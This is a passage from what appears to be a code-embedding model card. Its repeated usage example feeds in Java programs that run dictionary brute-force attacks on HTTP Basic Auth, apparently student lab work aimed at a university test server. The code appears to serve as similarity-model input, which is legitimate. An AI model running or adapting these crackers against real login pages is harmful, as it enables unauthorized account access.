\'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', 